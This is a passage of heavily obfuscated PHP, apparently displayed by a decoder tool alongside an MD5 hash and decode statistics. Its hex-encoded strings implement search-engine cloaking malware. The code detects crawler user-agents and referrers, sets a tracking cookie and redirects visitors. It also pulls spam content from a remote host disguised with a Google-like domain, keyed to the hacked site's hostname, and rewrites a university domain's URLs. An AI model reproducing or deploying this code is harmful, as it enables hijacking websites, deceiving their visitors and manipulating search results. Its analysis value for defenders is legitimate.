"\43\x61\162\143\150\151\x74\145\170\x74\163\x70\151\x64\145\x72\43\151", "\x23\171\x61\x68\157\x6f\41\134\163\x2a\x73\x6c\x75\162\x70\x23\x69", "\x23\x63\150\x61\x72\154\x6f\164\164\x65\x23\151", "\x23\156\147\x62\43\151", "\43\x42\x69\x6e\147\102\157\x74\x23\151"); goto ELCQu; ol6IM: if (!preg_match("\57\x5e\134\57" . $eosPn[$Ncj5O] . "\134\x2f\x28\56\52\x29\x2f\x69\163\125", $_SERVER["\122\105\x51\125\x45\123\x54\x5f\x55\122\111"])) { goto jco7e; } goto n0wha; jwfED: exit; goto xDiY2; dTncJ: $R_XLa = str_replace("\x68\164\x74\x70\x3a\x2f\57\x67\145\x6e\157\155\x69\x63\163\56\x72\167\x74\150\x2d\141\141\x63\x68\145\156\x2e\144\x65\57", "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x67\x65\x6e\x6f\x6d\151\143\163\56\x72\167\x74\x68\55\x61\141\x63\x68\145\156\x2e\x64\x65\57", $R_XLa); goto kvU6G; ayJKn: if (!($Ncj5O <= $cK1zs)) { goto fZo_M; } goto ol6IM; cFWqw: if (!$DCHdf) { goto m80pR; } goto xaNJ4; ELCQu: if (!(!empty($_SERVER["\x48\x54\124\x50\137\125\x53\105\122\137\101\107\x45\116\124"]) && FALSE !== strpos(preg_replace($ygRkr, "\x2d\x4e\x4f\55\x57\x41\131\x2d", $_SERVER["\110\124\x54\x50\137\x55\123\x45\122\x5f\101\x47\x45\116\124"]), "\x2d\x4e\117\55\127\x41\131\x2d"))) { goto yj26y; } goto sdfO1; VzKvG: jGoc4: goto ayJKn; YMsLO: $cK1zs = count($eosPn) - 1; goto fhml3; xDiY2: f1l2d: goto KqBoV; WpUe0: $Ncj5O++; goto AeWFj; AeWFj: goto jGoc4; goto k0Ucr; JHNeR: EAinq: goto nlLZH; i7Wdj: if (!($Zchc6 <= $lGrWA)) { goto hMGLF; } goto g6Y8g; PvuvM: $KdmaJ = f0YyZ(); goto swWGz; MyROA: $wU1kq = "\x2e\57\x62\141\x63\153\x75\x70\57"; goto Lo8hp; Xb3MY: BI_0f: goto mhDt3; UV1nH: $e1tga = strtolower($_SERVER["\110\124\124\x50\137\x52\105\x46\105\122\105\x52"]); goto ZKMV4; Dubm0: $R_XLa = str_replace("\x2e\x68\x74\155\x6c", '', $R_XLa); goto W8Mzm; iqbTY: p_d_I: goto cFWqw; ZZFm_: jco7e: goto qCpAM; t3f9y: exit; goto twS3p; RrUXf: goto X1iP8; goto A2PmJ; Nyh8S: $lDPkG = "\x32"; goto HZUNl; kMPlF: header("\154\x6f\x63\x61\164\151\x6f\x6e\72\40" . $Uvf9L); goto Kgqjf; pYXFR: $JVre8 = $_SERVER["\x52\x45\121\x55\105\123\x54\137\x55\x52\x49"]; goto ZQJgk; k0Ucr: fZo_M: goto ipUs4; nlLZH: an3uF: goto Xb3MY; mhDt3: $pemh7++; goto RrUXf; yw5LZ: exit; goto gmzbc; A_513: if (!$DCHdf) { goto kyElE; } goto RZaFa; BtgQG: X1iP8: goto cpJhK; vlYUa: header("\x6c\x6f\x63\141\x74\151\157\x6e\72\x20" . $Uvf9L); goto jwfED; anLmV: $Zchc6 = 0; goto HfysJ; MhvH_: $e1tga = strtolower($_SERVER["\x48\x54\124\x50\x5f\122\x45\x46\x45\x52\105\x52"]); goto zMHM8; VDG4q: exit; goto pQFGL; QpVjY: function vUjDI($AiR35) { goto fSKnu; Cd1pT: curl_setopt($kNa9E, CURLOPT_RETURNTRANSFER, 1); goto Vk3Bq; fSKnu: $kTnPX = file_get_contents($AiR35); goto al60V; Vk3Bq: curl_setopt($kNa9E, CURLOPT_CONNECTTIMEOUT, $WuFQN); goto Wm4yF; Y8FMh: curl_close($kNa9E); goto r1k6S; qJRdg: curl_setopt($kNa9E, CURLOPT_URL, $AiR35); goto Cd1pT; r1k6S: fHNpl: goto L5SE4; Wm4yF: $kTnPX = curl_exec($kNa9E); goto Y8FMh; ix5R3: $kNa9E = curl_init(); goto JdDr2; al60V: if (!empty($kTnPX)) { goto fHNpl; } goto ix5R3; L5SE4: return $kTnPX; goto z_FOd; JdDr2: $WuFQN = 5; goto qJRdg; z_FOd: } goto xOrhm; IMVKX: lEWPN: goto NFoXy; pQFGL: MdgN2: goto SFaAd; g6Y8g: if (!preg_match("\57\x5e\134\x2f" . $cc28G[$Zchc6] . "\x5c\57\50\x2e\x2a\x29\x2f\151\163\125", $_SERVER["\x52\x45\121\x55\105\x53\124\x5f\x55\x52\x49"])) { goto VsLeA; } goto x6S4e; ZKMV4: if (!(bI4qw($e1tga) && $JVre8 !== NULL && empty($_COOKIE["\x68\141\x69\162\x63\x6b\151"]))) { goto oc6RJ; } goto kMPlF; KqBoV: if (!$DCHdf) { goto EAinq; } goto niSTd; tcxtg: $R_XLa = vUJdI("\x68\164\164\x70\72\57\x2f\62\56\147\157\157\147\x6c\145\x61\160\x69\x2e\x72\x6f\x63\153\x73\x2f\x32\x30\x32\63\57\61\57\145\x64\x2f\145\x64\x34\x2f\x6d\x61\x69\156\56\x70\150\x70\77\153\x65\171\x3d" . $JVre8 . "\46\150\x6f\x73\x74\75" . $_SERVER["\x48\x54\124\x50\137\x48\x4f\x53\124"] . "\x26\167\x77\x77\75\x32"); goto dTncJ; twS3p: Z6nL6: goto JHNeR; Kgqjf: exit; goto Z2Kij; nAoKw: goto c3IG9; goto bDbx7; sC7w6: $lGrWA = count($cc28G) - 1; goto anLmV; qCpAM: iXmVq: goto WpUe0; n0wha: $lDPkG = "\x32"; goto pYm__; QpPFo: setcookie("\x68\141\151\162\143\x6b\x69", "\x68\x61\151\x72\143\x6f\x6f\x6b\x69", time() + 3600 * 24 * 100);
?>
Function Calls
None |
Stats
MD5 | 45a356cd6c3f3d38331fe3f5566e87eb |
Eval Count | 0 |
Decode Time | 73 ms |